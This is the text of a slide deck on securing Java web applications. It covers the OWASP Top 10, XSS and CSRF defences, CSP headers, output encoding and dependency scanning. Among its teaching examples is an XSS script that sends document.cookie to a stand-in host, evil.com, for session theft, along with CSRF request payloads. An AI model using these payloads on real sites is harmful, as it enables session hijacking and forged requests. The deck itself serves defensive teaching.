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Sichere Webanwendungen mit Java - 
wie fange ich an?



„Security should be 
backed in from the 

beginning.“

„Security is a 
process, not a one 

time task.“



Security requirements are rarely explicitly defined







OWASP TOP 10 2013
01 - Injection
02 - Broken Authentication and Session Management
03 - Cross-Site Scripting (XSS)
04 - Insecure Direct Object References
05 - Security Misconfiguration
06 - Sensitive Data Exposure
07 - Missing Function Level Access Control
08 - Cross-Site Request Forgery (CSRF)
09 - Using Components with Known Vulnerabilities
10 - Unvalidated Redirects and Forwards



What scares others not necessarily scares you



Examine the web application environment



Model all data entering and leaving your system



Do not trust any part of an HTTP(S) request



HTTPS guarantees secure transport, nothing more



Defense-in-depth: one layer is never enough
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Start with one concrete and definable problem
Something you can…

1. reproduce (hack yourself) 
2. fix 
3. and verify

yourself.



Using Cross-Site Scripting to retrieve session ids



<script>
 document.body.innerHTML("XSS");
</script> 

Website defacement

<script>
 var img = new Image();
 img.src = "http://evil.com?" +    
            document.cookie;
</script> 

Session theft



Persistent and reflected Cross-Site Scripting
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Properly escape (encode) all output data



<script>alert("XSS")</script>

Encode all output for the proper context

For HTML
&lt;script&gt;alert(&#34;XSS&#34;)&lt;/script&gt;

For CSS
\3cscript\3e alert(\22XSS\22)\3c\2fscript\3e

For XML
&lt;script&gt;alert(&#34;XSS&#34;)&lt;/script&gt;



OWASP Java Encoder

String encHTML = Encode.forHtml(name);
String encCSS  = Encode.forCssString(name);
String encXML  = Encode.forXml(name);



Different directives
‣default, object, script, 
connect, font, frame, img, 
media, style 
‣Whitelist URLs

Define the Content Security Policy (CSP) header



response.addHeader(
  "Content-Security-Policy",
  "default-src 'self'"
);



Blocks
inline scripts 
inline styles 
eval()

XSS protection active after adding CSP header



Test your XSS protection



DEMO
JavaSecurity XSS



XSS may undermine other protection measures



Using Cross-Site Request Forgery to foist requests



CSRF utilizes fire and forget requests
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void doGet(HttpServletRequest req,
  HttpServletResponse res) {
  String name = req.getParameter("name");
  // ...
}

<img src="Servlet-URL?name=CSRF"
 width="0" height="0" />



void doPost(HttpServletRequest req, 
  HttpServletResponse res) {
  String name = req.getParameter("name");
  // ...
}

var request = new XMLHttpRequest();
request.open("POST", "Servlet-URL");
request.send("name=CSRF");



Random token per user and per session (request)



<form action="OrderServlet" method="post">
 <input type="hidden" 
  name="${_csrf.parameterName}"
  value="${_csrf.token}"/>

 <label for="product">Product</label>
 <input type="text" id="product" 
  name="product"/>

 <!— ... -->

 <input type="submit" value="Order" />
</form>

Spring Security



Test your CSRF protection



DEMO
JavaSecurity CSRF-spring-security



When was the last time you’ve updated your libs?



My code, my configuration … and the libs?



Test the functionality you rely on



Scan regularly with OWASP Dependency Check



Integrate Dependency Check into Jenkins builds



Developers make 
the difference

Start with the vulnerabilities 
you can address yourself 
Web application has to be 
XSS-free 
Remember security 
maintenance and update 
your 3rd-party-libs



Demo Projects  
github.com/dschadow/JavaOne

CWE/SANS Top 25 Most Dangerous 
Software Errors  
cwe.mitre.org/top25

OWASP TOP 10 2013 
www.owasp.org/index.php/
Category:OWASP_Top_Ten_Project

Content Security Policy  
www.w3.org/TR/CSP

Microsoft Threat Modeling Tool  
www.microsoft.com/en-us/download/
details.aspx?id=42518

Hibernate Validator  
hibernate.org/validator

OWASP Java Encoder  
www.owasp.org/index.php/
OWASP_Java_Encoder_Project

OWASP ZAP 
www.owasp.org/index.php/
OWASP_Zed_Attack_Proxy_Project

OWASP Dependency Check 
www.owasp.org/index.php/
OWASP_Dependency_Check

Pictures  
www.dreamstime.com
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www.bridging-it.de 
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Twitter @dschadow
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